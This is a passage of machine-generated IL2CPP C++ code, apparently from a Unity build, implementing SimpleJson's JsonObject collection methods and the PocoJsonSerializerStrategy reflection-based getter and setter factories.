ArgumentNullException_t628810857 * L_1 = (ArgumentNullException_t628810857 *)il2cpp_codegen_object_new(ArgumentNullException_t628810857_il2cpp_TypeInfo_var); ArgumentNullException__ctor_m3380712306(L_1, _stringLiteral1185213181, /*hidden argument*/NULL); IL2CPP_RAISE_MANAGED_EXCEPTION(L_1); } IL_0012: { int32_t L_2 = JsonObject_get_Count_m1372513591(__this, /*hidden argument*/NULL); V_0 = L_2; Il2CppObject* L_3 = JsonObject_GetEnumerator_m1868414604(__this, /*hidden argument*/NULL); V_2 = L_3; } IL_0021: try { // begin try (depth: 1) { goto IL_0051; } IL_0026: { Il2CppObject* L_4 = V_2; NullCheck(L_4); KeyValuePair_2_t2361573779 L_5 = InterfaceFuncInvoker0< KeyValuePair_2_t2361573779 >::Invoke(0 /* !0 System.Collections.Generic.IEnumerator`1>::get_Current() */, IEnumerator_1_t4132064902_il2cpp_TypeInfo_var, L_4); V_1 = L_5; KeyValuePair_2U5BU5D_t3332939458* L_6 = ___array0; int32_t L_7 = ___arrayIndex1; int32_t L_8 = L_7; ___arrayIndex1 = ((int32_t)((int32_t)L_8+(int32_t)1)); NullCheck(L_6); KeyValuePair_2_t2361573779 L_9 = V_1; (*(KeyValuePair_2_t2361573779 *)((L_6)->GetAddressAt(static_cast(L_8)))) = L_9; int32_t L_10 = V_0; int32_t L_11 = ((int32_t)((int32_t)L_10-(int32_t)1)); V_0 = L_11; if ((((int32_t)L_11) > ((int32_t)0))) { goto IL_0050; } } IL_004b: { IL2CPP_LEAVE(0x6E, FINALLY_0061); } IL_0050: { } IL_0051: { Il2CppObject* L_12 = V_2; NullCheck(L_12); bool L_13 = InterfaceFuncInvoker0< bool >::Invoke(1 /* System.Boolean System.Collections.IEnumerator::MoveNext() */, IEnumerator_t1466026749_il2cpp_TypeInfo_var, L_12); if (L_13) { goto IL_0026; } } IL_005c: { IL2CPP_LEAVE(0x6E, FINALLY_0061); } } // end try (depth: 1) catch(Il2CppExceptionWrapper& e) { __last_unhandled_exception = (Exception_t1927440687 *)e.ex; goto FINALLY_0061; } FINALLY_0061: { // begin finally (depth: 1) { Il2CppObject* L_14 = V_2; if (!L_14) { goto IL_006d; } } IL_0067: { Il2CppObject* L_15 = V_2; NullCheck(L_15); InterfaceActionInvoker0::Invoke(0 /* System.Void System.IDisposable::Dispose() */, IDisposable_t2427283555_il2cpp_TypeInfo_var, L_15); } IL_006d: { IL2CPP_END_FINALLY(97) } } // end finally (depth: 1) IL2CPP_CLEANUP(97) { IL2CPP_JUMP_TBL(0x6E, IL_006e) IL2CPP_RETHROW_IF_UNHANDLED(Exception_t1927440687 *) } IL_006e: { return; } } // System.Int32 SimpleJson.JsonObject::get_Count() extern "C" int32_t JsonObject_get_Count_m1372513591 (JsonObject_t2300545015 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (JsonObject_get_Count_m1372513591_MetadataUsageId); s_Il2CppMethodInitialized = true; } int32_t V_0 = 0; { Dictionary_2_t309261261 * L_0 = __this->get__members_0(); NullCheck(L_0); int32_t L_1 = Dictionary_2_get_Count_m1801589293(L_0, /*hidden argument*/Dictionary_2_get_Count_m1801589293_MethodInfo_var); V_0 = L_1; goto IL_0012; } IL_0012: { int32_t L_2 = V_0; return L_2; } } // System.Boolean SimpleJson.JsonObject::get_IsReadOnly() extern "C" bool JsonObject_get_IsReadOnly_m2070569848 (JsonObject_t2300545015 * __this, const MethodInfo* method) { bool V_0 = false; { V_0 = (bool)0; goto IL_0008; } IL_0008: { bool L_0 = V_0; return L_0; } } // System.Boolean SimpleJson.JsonObject::Remove(System.Collections.Generic.KeyValuePair`2) extern "C" bool JsonObject_Remove_m968288636 (JsonObject_t2300545015 * __this, KeyValuePair_2_t2361573779 ___item0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (JsonObject_Remove_m968288636_MetadataUsageId); s_Il2CppMethodInitialized = true; } bool V_0 = false; { Dictionary_2_t309261261 * L_0 = __this->get__members_0(); String_t* L_1 = KeyValuePair_2_get_Key_m1313755691((&___item0), /*hidden argument*/KeyValuePair_2_get_Key_m1313755691_MethodInfo_var); NullCheck(L_0); bool L_2 = Dictionary_2_Remove_m3100271268(L_0, L_1, /*hidden argument*/Dictionary_2_Remove_m3100271268_MethodInfo_var); V_0 = L_2; goto IL_0019; } IL_0019: { bool L_3 = V_0; return L_3; } } // System.Collections.Generic.IEnumerator`1> SimpleJson.JsonObject::GetEnumerator() extern "C" Il2CppObject* JsonObject_GetEnumerator_m1868414604 (JsonObject_t2300545015 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (JsonObject_GetEnumerator_m1868414604_MetadataUsageId); s_Il2CppMethodInitialized = true; } Il2CppObject* V_0 = NULL; { Dictionary_2_t309261261 * L_0 = __this->get__members_0(); NullCheck(L_0); Enumerator_t1629285963 L_1 = Dictionary_2_GetEnumerator_m4290581089(L_0, /*hidden argument*/Dictionary_2_GetEnumerator_m4290581089_MethodInfo_var); Enumerator_t1629285963 L_2 = L_1; Il2CppObject * L_3 = Box(Enumerator_t1629285963_il2cpp_TypeInfo_var, &L_2); V_0 = (Il2CppObject*)L_3; goto IL_0017; } IL_0017: { Il2CppObject* L_4 = V_0; return L_4; } } // System.Collections.IEnumerator SimpleJson.JsonObject::System.Collections.IEnumerable.GetEnumerator() extern "C" Il2CppObject * JsonObject_System_Collections_IEnumerable_GetEnumerator_m763605844 (JsonObject_t2300545015 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (JsonObject_System_Collections_IEnumerable_GetEnumerator_m763605844_MetadataUsageId); s_Il2CppMethodInitialized = true; } Il2CppObject * V_0 = NULL; { Dictionary_2_t309261261 * L_0 = __this->get__members_0(); NullCheck(L_0); Enumerator_t1629285963 L_1 = Dictionary_2_GetEnumerator_m4290581089(L_0, /*hidden argument*/Dictionary_2_GetEnumerator_m4290581089_MethodInfo_var); Enumerator_t1629285963 L_2 = L_1; Il2CppObject * L_3 = Box(Enumerator_t1629285963_il2cpp_TypeInfo_var, &L_2); V_0 = (Il2CppObject *)L_3; goto IL_0017; } IL_0017: { Il2CppObject * L_4 = V_0; return L_4; } } // System.String SimpleJson.JsonObject::ToString() extern "C" String_t* JsonObject_ToString_m1270529244 (JsonObject_t2300545015 * __this, const MethodInfo* method) { String_t* V_0 = NULL; { String_t* L_0 = SimpleJson_SerializeObject_m478839316(NULL /*static, unused*/, __this, /*hidden argument*/NULL); V_0 = L_0; goto IL_000d; } IL_000d: { String_t* L_1 = V_0; return L_1; } } // System.Void SimpleJson.PocoJsonSerializerStrategy::.ctor() extern "C" void PocoJsonSerializerStrategy__ctor_m679193024 (PocoJsonSerializerStrategy_t2810850750 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (PocoJsonSerializerStrategy__ctor_m679193024_MetadataUsageId); s_Il2CppMethodInitialized = true; } { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); IntPtr_t L_0; L_0.set_m_value_0((void*)(void*)GetVirtualMethodInfo(__this, 6)); ThreadSafeDictionaryValueFactory_2_t3698747442 * L_1 = (ThreadSafeDictionaryValueFactory_2_t3698747442 *)il2cpp_codegen_object_new(ThreadSafeDictionaryValueFactory_2_t3698747442_il2cpp_TypeInfo_var); ThreadSafeDictionaryValueFactory_2__ctor_m1401110360(L_1, __this, L_0, /*hidden argument*/ThreadSafeDictionaryValueFactory_2__ctor_m1401110360_MethodInfo_var); ThreadSafeDictionary_2_t4203819763 * L_2 = (ThreadSafeDictionary_2_t4203819763 *)il2cpp_codegen_object_new(ThreadSafeDictionary_2_t4203819763_il2cpp_TypeInfo_var); ThreadSafeDictionary_2__ctor_m854375879(L_2, L_1, /*hidden argument*/ThreadSafeDictionary_2__ctor_m854375879_MethodInfo_var); __this->set_ConstructorCache_0(L_2); IntPtr_t L_3; L_3.set_m_value_0((void*)(void*)GetVirtualMethodInfo(__this, 7)); ThreadSafeDictionaryValueFactory_2_t880847899 * L_4 = (ThreadSafeDictionaryValueFactory_2_t880847899 *)il2cpp_codegen_object_new(ThreadSafeDictionaryValueFactory_2_t880847899_il2cpp_TypeInfo_var); ThreadSafeDictionaryValueFactory_2__ctor_m1329292246(L_4, __this, L_3, /*hidden argument*/ThreadSafeDictionaryValueFactory_2__ctor_m1329292246_MethodInfo_var); ThreadSafeDictionary_2_t1385920220 * L_5 = (ThreadSafeDictionary_2_t1385920220 *)il2cpp_codegen_object_new(ThreadSafeDictionary_2_t1385920220_il2cpp_TypeInfo_var); ThreadSafeDictionary_2__ctor_m871953061(L_5, L_4, /*hidden argument*/ThreadSafeDictionary_2__ctor_m871953061_MethodInfo_var); __this->set_GetCache_1(L_5); IntPtr_t L_6; L_6.set_m_value_0((void*)(void*)GetVirtualMethodInfo(__this, 8)); ThreadSafeDictionaryValueFactory_2_t134667198 * L_7 = (ThreadSafeDictionaryValueFactory_2_t134667198 *)il2cpp_codegen_object_new(ThreadSafeDictionaryValueFactory_2_t134667198_il2cpp_TypeInfo_var); ThreadSafeDictionaryValueFactory_2__ctor_m1894899048(L_7, __this, L_6, /*hidden argument*/ThreadSafeDictionaryValueFactory_2__ctor_m1894899048_MethodInfo_var); ThreadSafeDictionary_2_t639739519 * L_8 = (ThreadSafeDictionary_2_t639739519 *)il2cpp_codegen_object_new(ThreadSafeDictionary_2_t639739519_il2cpp_TypeInfo_var); ThreadSafeDictionary_2__ctor_m3536678423(L_8, L_7, /*hidden argument*/ThreadSafeDictionary_2__ctor_m3536678423_MethodInfo_var); __this->set_SetCache_2(L_8); return; } } // System.String SimpleJson.PocoJsonSerializerStrategy::MapClrMemberNameToJsonFieldName(System.String) extern "C" String_t* PocoJsonSerializerStrategy_MapClrMemberNameToJsonFieldName_m1498630973 (PocoJsonSerializerStrategy_t2810850750 * __this, String_t* ___clrPropertyName0, const MethodInfo* method) { String_t* V_0 = NULL; { String_t* L_0 = ___clrPropertyName0; V_0 = L_0; goto IL_0008; } IL_0008: { String_t* L_1 = V_0; return L_1; } } // SimpleJson.Reflection.ReflectionUtils/ConstructorDelegate SimpleJson.PocoJsonSerializerStrategy::ContructorDelegateFactory(System.Type) extern "C" ConstructorDelegate_t3084043859 * PocoJsonSerializerStrategy_ContructorDelegateFactory_m2249307191 (PocoJsonSerializerStrategy_t2810850750 * __this, Type_t * ___key0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (PocoJsonSerializerStrategy_ContructorDelegateFactory_m2249307191_MetadataUsageId); s_Il2CppMethodInitialized = true; } ConstructorDelegate_t3084043859 * V_0 = NULL; Type_t * G_B2_0 = NULL; Type_t * G_B1_0 = NULL; TypeU5BU5D_t1664964607* G_B3_0 = NULL; Type_t * G_B3_1 = NULL; { Type_t * L_0 = ___key0; Type_t * L_1 = ___key0; NullCheck(L_1); bool L_2 = Type_get_IsArray_m811277129(L_1, /*hidden argument*/NULL); G_B1_0 = L_0; if (!L_2) { G_B2_0 = L_0; goto IL_0017; } } { IL2CPP_RUNTIME_CLASS_INIT(PocoJsonSerializerStrategy_t2810850750_il2cpp_TypeInfo_var); TypeU5BU5D_t1664964607* L_3 = ((PocoJsonSerializerStrategy_t2810850750_StaticFields*)PocoJsonSerializerStrategy_t2810850750_il2cpp_TypeInfo_var->static_fields)->get_ArrayConstructorParameterTypes_4(); G_B3_0 = L_3; G_B3_1 = G_B1_0; goto IL_001c; } IL_0017: { IL2CPP_RUNTIME_CLASS_INIT(PocoJsonSerializerStrategy_t2810850750_il2cpp_TypeInfo_var); TypeU5BU5D_t1664964607* L_4 = ((PocoJsonSerializerStrategy_t2810850750_StaticFields*)PocoJsonSerializerStrategy_t2810850750_il2cpp_TypeInfo_var->static_fields)->get_EmptyTypes_3(); G_B3_0 = L_4; G_B3_1 = G_B2_0; } IL_001c: { IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); ConstructorDelegate_t3084043859 * L_5 = ReflectionUtils_GetContructor_m2213599410(NULL /*static, unused*/, G_B3_1, G_B3_0, /*hidden argument*/NULL); V_0 = L_5; goto IL_0027; } IL_0027: { ConstructorDelegate_t3084043859 * L_6 = V_0; return L_6; } } // System.Collections.Generic.IDictionary`2 SimpleJson.PocoJsonSerializerStrategy::GetterValueFactory(System.Type) extern "C" Il2CppObject* PocoJsonSerializerStrategy_GetterValueFactory_m3591081731 (PocoJsonSerializerStrategy_t2810850750 * __this, Type_t * ___type0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (PocoJsonSerializerStrategy_GetterValueFactory_m3591081731_MetadataUsageId); s_Il2CppMethodInitialized = true; } Il2CppObject* V_0 = NULL; PropertyInfo_t * V_1 = NULL; Il2CppObject* V_2 = NULL; MethodInfo_t * V_3 = NULL; FieldInfo_t * V_4 = NULL; Il2CppObject* V_5 = NULL; Il2CppObject* V_6 = NULL; Exception_t1927440687 * __last_unhandled_exception = 0; NO_UNUSED_WARNING (__last_unhandled_exception); Exception_t1927440687 * __exception_local = 0; NO_UNUSED_WARNING (__exception_local); int32_t __leave_target = 0; NO_UNUSED_WARNING (__leave_target); { Dictionary_2_t2267060895 * L_0 = (Dictionary_2_t2267060895 *)il2cpp_codegen_object_new(Dictionary_2_t2267060895_il2cpp_TypeInfo_var); Dictionary_2__ctor_m1845667710(L_0, /*hidden argument*/Dictionary_2__ctor_m1845667710_MethodInfo_var); V_0 = (Il2CppObject*)L_0; Type_t * L_1 = ___type0; IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); Il2CppObject* L_2 = ReflectionUtils_GetProperties_m1086308370(NULL /*static, unused*/, L_1, /*hidden argument*/NULL); NullCheck(L_2); Il2CppObject* L_3 = InterfaceFuncInvoker0< Il2CppObject* >::Invoke(0 /* System.Collections.Generic.IEnumerator`1 System.Collections.Generic.IEnumerable`1::GetEnumerator() */, IEnumerable_1_t2545856110_il2cpp_TypeInfo_var, L_2); V_2 = L_3; } IL_0014: try { // begin try (depth: 1) { goto IL_0069; } IL_0019: { Il2CppObject* L_4 = V_2; NullCheck(L_4); PropertyInfo_t * L_5 = InterfaceFuncInvoker0< PropertyInfo_t * >::Invoke(0 /* !0 System.Collections.Generic.IEnumerator`1::get_Current() */, IEnumerator_1_t4024220188_il2cpp_TypeInfo_var, L_4); V_1 = L_5; PropertyInfo_t * L_6 = V_1; NullCheck(L_6); bool L_7 = VirtFuncInvoker0< bool >::Invoke(15 /* System.Boolean System.Reflection.PropertyInfo::get_CanRead() */, L_6); if (!L_7) { goto IL_0068; } } IL_002c: { PropertyInfo_t * L_8 = V_1; IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); MethodInfo_t * L_9 = ReflectionUtils_GetGetterMethodInfo_m1539519564(NULL /*static, unused*/, L_8, /*hidden argument*/NULL); V_3 = L_9; MethodInfo_t * L_10 = V_3; NullCheck(L_10); bool L_11 = MethodBase_get_IsStatic_m1015686807(L_10, /*hidden argument*/NULL); if (L_11) { goto IL_004a; } } IL_003f: { MethodInfo_t * L_12 = V_3; NullCheck(L_12); bool L_13 = MethodBase_get_IsPublic_m479656180(L_12, /*hidden argument*/NULL); if (L_13) { goto IL_004f; } } IL_004a: { goto IL_0069; } IL_004f: { Il2CppObject* L_14 = V_0; PropertyInfo_t * L_15 = V_1; NullCheck(L_15); String_t* L_16 = VirtFuncInvoker0< String_t* >::Invoke(8 /* System.String System.Reflection.MemberInfo::get_Name() */, L_15); String_t* L_17 = VirtFuncInvoker1< String_t*, String_t* >::Invoke(5 /* System.String SimpleJson.PocoJsonSerializerStrategy::MapClrMemberNameToJsonFieldName(System.String) */, __this, L_16); PropertyInfo_t * L_18 = V_1; IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); GetDelegate_t352281633 * L_19 = ReflectionUtils_GetGetMethod_m3146646939(NULL /*static, unused*/, L_18, /*hidden argument*/NULL); NullCheck(L_14); InterfaceActionInvoker2< String_t*, GetDelegate_t352281633 * >::Invoke(3 /* System.Void System.Collections.Generic.IDictionary`2::set_Item(!0,!1) */, IDictionary_2_t266144316_il2cpp_TypeInfo_var, L_14, L_17, L_19); } IL_0068: { } IL_0069: { Il2CppObject* L_20 = V_2; NullCheck(L_20); bool L_21 = InterfaceFuncInvoker0< bool >::Invoke(1 /* System.Boolean System.Collections.IEnumerator::MoveNext() */, IEnumerator_t1466026749_il2cpp_TypeInfo_var, L_20); if (L_21) { goto IL_0019; } } IL_0074: { IL2CPP_LEAVE(0x86, FINALLY_0079); } } // end try (depth: 1) catch(Il2CppExceptionWrapper& e) { __last_unhandled_exception = (Exception_t1927440687 *)e.ex; goto FINALLY_0079; } FINALLY_0079: { // begin finally (depth: 1) { Il2CppObject* L_22 = V_2; if (!L_22) { goto IL_0085; } } IL_007f: { Il2CppObject* L_23 = V_2; NullCheck(L_23); InterfaceActionInvoker0::Invoke(0 /* System.Void System.IDisposable::Dispose() */, IDisposable_t2427283555_il2cpp_TypeInfo_var, L_23); } IL_0085: { IL2CPP_END_FINALLY(121) } } // end finally (depth: 1) IL2CPP_CLEANUP(121) { IL2CPP_JUMP_TBL(0x86, IL_0086) IL2CPP_RETHROW_IF_UNHANDLED(Exception_t1927440687 *) } IL_0086: { Type_t * L_24 = ___type0; IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); Il2CppObject* L_25 = ReflectionUtils_GetFields_m771042561(NULL /*static, unused*/, L_24, /*hidden argument*/NULL); NullCheck(L_25); Il2CppObject* L_26 = InterfaceFuncInvoker0< Il2CppObject* >::Invoke(0 /* System.Collections.Generic.IEnumerator`1 System.Collections.Generic.IEnumerable`1::GetEnumerator() */, IEnumerable_1_t547167195_il2cpp_TypeInfo_var, L_25); V_5 = L_26; } IL_0094: try { // begin try (depth: 1) { goto IL_00db; } IL_0099: { Il2CppObject* L_27 = V_5; NullCheck(L_27); FieldInfo_t * L_28 = InterfaceFuncInvoker0< FieldInfo_t * >::Invoke(0 /* !0 System.Collections.Generic.IEnumerator`1::get_Current() */, IEnumerator_1_t2025531273_il2cpp_TypeInfo_var, L_27); V_4 = L_28; FieldInfo_t * L_29 = V_4; NullCheck(L_29); bool L_30 = FieldInfo_get_IsStatic_m1411173225(L_29, /*hidden argument*/NULL); if (L_30) { goto IL_00bb; } } IL_00af: { FieldInfo_t * L_31 = V_4; NullCheck(L_31); bool L_32 = FieldInfo_get_IsPublic_m618896610(L_31, /*hidden argument*/NULL); if (L_32) { goto IL_00c0; } } IL_00bb: { goto IL_00db; } IL_00c0: { Il2CppObject* L_33 = V_0; FieldInfo_t * L_34 = V_4; NullCheck(L_34); String_t* L_35 = VirtFuncInvoker0< String_t* >::Invoke(8 /* System.String System.Reflection.MemberInfo::get_Name() */, L_34); String_t* L_36 = VirtFuncInvoker1< String_t*, String_t* >::Invoke(5 /* System.String SimpleJson.PocoJsonSerializerStrategy::MapClrMemberNameToJsonFieldName(System.String) */, __this, L_35); FieldInfo_t * L_37 = V_4; IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); GetDelegate_t352281633 * L_38 = ReflectionUtils_GetGetMethod_m2453322602(NULL /*static, unused*/, L_37, /*hidden argument*/NULL); NullCheck(L_33); InterfaceActionInvoker2< String_t*, GetDelegate_t352281633 * >::Invoke(3 /* System.Void System.Collections.Generic.IDictionary`2::set_Item(!0,!1) */, IDictionary_2_t266144316_il2cpp_TypeInfo_var, L_33, L_36, L_38); } IL_00db: { Il2CppObject* L_39 = V_5; NullCheck(L_39); bool L_40 = InterfaceFuncInvoker0< bool >::Invoke(1 /* System.Boolean System.Collections.IEnumerator::MoveNext() */, IEnumerator_t1466026749_il2cpp_TypeInfo_var, L_39); if (L_40) { goto IL_0099; } } IL_00e7: { IL2CPP_LEAVE(0xFB, FINALLY_00ec); } } // end try (depth: 1) catch(Il2CppExceptionWrapper& e) { __last_unhandled_exception = (Exception_t1927440687 *)e.ex; goto FINALLY_00ec; } FINALLY_00ec: { // begin finally (depth: 1) { Il2CppObject* L_41 = V_5; if (!L_41) { goto IL_00fa; } } IL_00f3: { Il2CppObject* L_42 = V_5; NullCheck(L_42); InterfaceActionInvoker0::Invoke(0 /* System.Void System.IDisposable::Dispose() */, IDisposable_t2427283555_il2cpp_TypeInfo_var, L_42); } IL_00fa: { IL2CPP_END_FINALLY(236) } } // end finally (depth: 1) IL2CPP_CLEANUP(236) { IL2CPP_JUMP_TBL(0xFB, IL_00fb) IL2CPP_RETHROW_IF_UNHANDLED(Exception_t1927440687 *) } IL_00fb: { Il2CppObject* L_43 = V_0; V_6 = L_43; goto IL_0103; } IL_0103: { Il2CppObject* L_44 = V_6; return L_44; } } // System.Collections.Generic.IDictionary`2> SimpleJson.PocoJsonSerializerStrategy::SetterValueFactory(System.Type) extern "C" Il2CppObject* PocoJsonSerializerStrategy_SetterValueFactory_m4054347921 (PocoJsonSerializerStrategy_t2810850750 * __this, Type_t * ___type0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (PocoJsonSerializerStrategy_SetterValueFactory_m4054347921_MetadataUsageId); s_Il2CppMethodInitialized = true; } Il2CppObject* V_0 = NULL; PropertyInfo_t * V_1 = NULL; Il2CppObject* V_2 = NULL; MethodInfo_t * V_3 = NULL; FieldInfo_t * V_4 = NULL; Il2CppObject* V_5 = NULL; Il2CppObject* V_6 = NULL; Exception_t1927440687 * __last_unhandled_exception = 0; NO_UNUSED_WARNING (__last_unhandled_exception); Exception_t1927440687 * __exception_local = 0; NO_UNUSED_WARNING (__exception_local); int32_t __leave_target = 0; NO_UNUSED_WARNING (__leave_target); { Dictionary_2_t1520880194 * L_0 = (Dictionary_2_t1520880194 *)il2cpp_codegen_object_new(Dictionary_2_t1520880194_il2cpp_TypeInfo_var); Dictionary_2__ctor_m2749652828(L_0, /*hidden argument*/Dictionary_2__ctor_m2749652828_MethodInfo_var); V_0 = (Il2CppObject*)L_0; Type_t * L_1 = ___type0; IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); Il2CppObject* L_2 = ReflectionUtils_GetProperties_m1086308370(NULL /*static, unused*/, L_1, /*hidden argument*/NULL); NullCheck(L_2); Il2CppObject* L_3 = InterfaceFuncInvoker0< Il2CppObject* >::Invoke(0 /* System.Collections.Generic.IEnumerator`1 System.Collections.Generic.IEnumerable`1::GetEnumerator() */, IEnumerable_1_t2545856110_il2cpp_TypeInfo_var, L_2); V_2 = L_3; } IL_0014: try { // begin try (depth: 1) { goto IL_0074; } IL_0019: { Il2CppObject* L_4 = V_2; NullCheck(L_4); PropertyInfo_t * L_5 = InterfaceFuncInvoker0< PropertyInfo_t * >::Invoke(0 /* !0 System.Collections.Generic.IEnumerator`1::get_Current() */, IEnumerator_1_t4024220188_il2cpp_TypeInfo_var, L_4); V_1 = L_5; PropertyInfo_t * L_6 = V_1; NullCheck(L_6); bool L_7 = VirtFuncInvoker0< bool >::Invoke(16 /* System.Boolean System.Reflection.PropertyInfo::get_CanWrite() */, L_6); if (!L_7) { goto IL_0073; } } IL_002c: { PropertyInfo_t * L_8 = V_1; IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); MethodInfo_t * L_9 = ReflectionUtils_GetSetterMethodInfo_m1933298824(NULL /*static, unused*/, L_8, /*hidden argument*/NULL); V_3 = L_9; MethodInfo_t * L_10 = V_3; NullCheck(L_10); bool L_11 = MethodBase_get_IsStatic_m1015686807(L_10, /*hidden argument*/NULL); if (L_11) { goto IL_004a; } } IL_003f: { MethodInfo_t * L_12 = V_3; NullCheck(L_12); bool L_13 = MethodBase_get_IsPublic_m479656180(L_12, /*hidden argument*/NULL); if (L_13) { goto IL_004f; } } IL_004a: { goto IL_0074; } IL_004f: { Il2CppObject* L_14 = V_0; PropertyInfo_t * L_15 = V_1; NullCheck(L_15); String_t* L_16 = VirtFuncInvoker0< String_t* >::Invoke(8 /* System.String System.Reflection.MemberInfo::get_Name() */, L_15); String_t* L_17 = VirtFuncInvoker1< String_t*, String_t* >::Invoke(5 /* System.String SimpleJson.PocoJsonSerializerStrategy::MapClrMemberNameToJsonFieldName(System.String) */, __this, L_16); PropertyInfo_t * L_18 = V_1; NullCheck(L_18); Type_t * L_19 = VirtFuncInvoker0< Type_t * >::Invoke(17 /* System.Type System.Reflection.PropertyInfo::get_PropertyType() */, L_18); PropertyInfo_t * L_20 = V_1; IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); SetDelegate_t4206365109 * L_21 = ReflectionUtils_GetSetMethod_m2416528667(NULL /*static, unused*/, L_20, /*hidden argument*/NULL); KeyValuePair_2_t3901068228 L_22; memset(&L_22, 0, sizeof(L_22)); KeyValuePair_2__ctor_m3394507420(&L_22, L_19, L_21, /*hidden argument*/KeyValuePair_2__ctor_m3394507420_MethodInfo_var); NullCheck(L_14); InterfaceActionInvoker2< String_t*, KeyValuePair_2_t3901068228 >::Invoke(3 /* System.Void System.Collections.Generic.IDictionary`2>::set_Item(!0,!1) */, IDictionary_2_t3814930911_il2cpp_TypeInfo_var, L_14, L_17, L_22); } IL_0073: { } IL_0074: { Il2CppObject* L_23 = V_2; NullCheck(L_23); bool L_24 = InterfaceFuncInvoker0< bool >::Invoke(1 /* System.Boolean System.Collections.IEnumerator::MoveNext() */, IEnumerator_t1466026749_il2cpp_TypeInfo_var, L_23); if (L_24) { goto IL_0019; } } IL_007f: { IL2CPP_LEAVE(0x91, FINALLY_0084); } } // end try (depth: 1) catch(Il2CppExceptionWrapper& e) { __last_unhandled_exception = (Exception_t1927440687 *)e.ex; goto FINALLY_0084; } FINALLY_0084: { // begin finally (depth: 1) { Il2CppObject* L_25 = V_2; if (!L_25) { goto IL_0090; } } IL_008a: { Il2CppObject* L_26 = V_2; NullCheck(L_26); InterfaceActionInvoker0::Invoke(0 /* System.Void System.IDisposable::Dispose() */, IDisposable_t2427283555_il2cpp_TypeInfo_var, L_26); } IL_0090: { IL2CPP_END_FINALLY(132) } } // end finally (depth: 1) IL2CPP_CLEANUP(132) { IL2CPP_JUMP_TBL(0x91, IL_0091) IL2CPP_RETHROW_IF_UNHANDLED(Exception_t1927440687 *) } IL_0091: { Type_t * L_27 = ___type0; IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); Il2CppObject* L_28 = ReflectionUtils_GetFields_m771042561(NULL /*static, unused*/, L_27, /*hidden argument*/NULL); NullCheck(L_28); Il2CppObject* L_29 = InterfaceFuncInvoker0< Il2CppObject* >::Invoke(0 /* System.Collections.Generic.IEnumerator`1 System.Collections.Generic.IEnumerable`1::GetEnumerator() */, IEnumerable_1_t547167195_il2cpp_TypeInfo_var, L_28); V_5 = L_29; } IL_009f: try { // begin try (depth: 1) { goto IL_00fe; } IL_00a4: { Il2CppObject* L_30 = V_5; NullCheck(L_30); FieldInfo_t * L_31 = InterfaceFuncInvoker0< FieldInfo_t * >::Invoke(0 /* !0 System.Collections.Generic.IEnumerator`1::get_Current() */, IEnumerator_1_t2025531273_il2cpp_TypeInfo_var, L_30); V_4 = L_31; FieldInfo_t * L_32 = V_4; NullCheck(L_32); bool L_33 = FieldInfo_get_IsInitOnly_m3059790683(L_32, /*hidden argument*/NULL); if (L_33) { goto IL_00d2; } } IL_00ba: { FieldInfo_t * L_34 = V_4; NullCheck(L_34); bool L_35 = FieldInfo_get_IsStatic_m1411173225(L_34, /*hidden argument*/NULL); if (L_35) { goto IL_00d2; } } IL_00c6: { FieldInfo_t * L_36 = V_4; NullCheck(L_36); bool L_37 = FieldInfo_get_IsPublic_m618896610(L_36, /*hidden argument*/NULL); if (L_37) { goto IL_00d7; } } IL_00d2: { goto IL_00fe; } IL_00d7: { Il2CppObject* L_38 = V_0; FieldInfo_t * L_39 = V_4; NullCheck(L_39); String_t* L_40 = VirtFuncInvoker0< String_t* >::Invoke(8 /* System.String System.Reflection.MemberInfo::get_Name() */, L_39); String_t* L_41 = VirtFuncInvoker1< String_t*, String_t* >::Invoke(5 /* System.String SimpleJson.PocoJsonSerializerStrategy::MapClrMemberNameToJsonFieldName(System.String) */, __this, L_40); FieldInfo_t * L_42 = V_4; NullCheck(L_42); Type_t * L_43 = VirtFuncInvoker0< Type_t * >::Invoke(16 /* System.Type System.Reflection.FieldInfo::get_FieldType() */, L_42); FieldInfo_t * L_44 = V_4; IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); SetDelegate_t4206365109 * L_45 = ReflectionUtils_GetSetMethod_m3627950826(NULL /*static, unused*/, L_44, /*hidden argument*/NULL); KeyValuePair_2_t3901068228 L_46; memset(&L_46, 0, sizeof(L_46)); KeyValuePair_2__ctor_m3394507420(&L_46, L_43, L_45, /*hidden argument*/KeyValuePair_2__ctor_m3394507420_MethodInfo_var); NullCheck(L_38); InterfaceActionInvoker2< String_t*, KeyValuePair_2_t3901068228 >::Invoke(3 /* System.Void System.Collections.Generic.IDictionary`2>::set_Item(!0,!1) */, 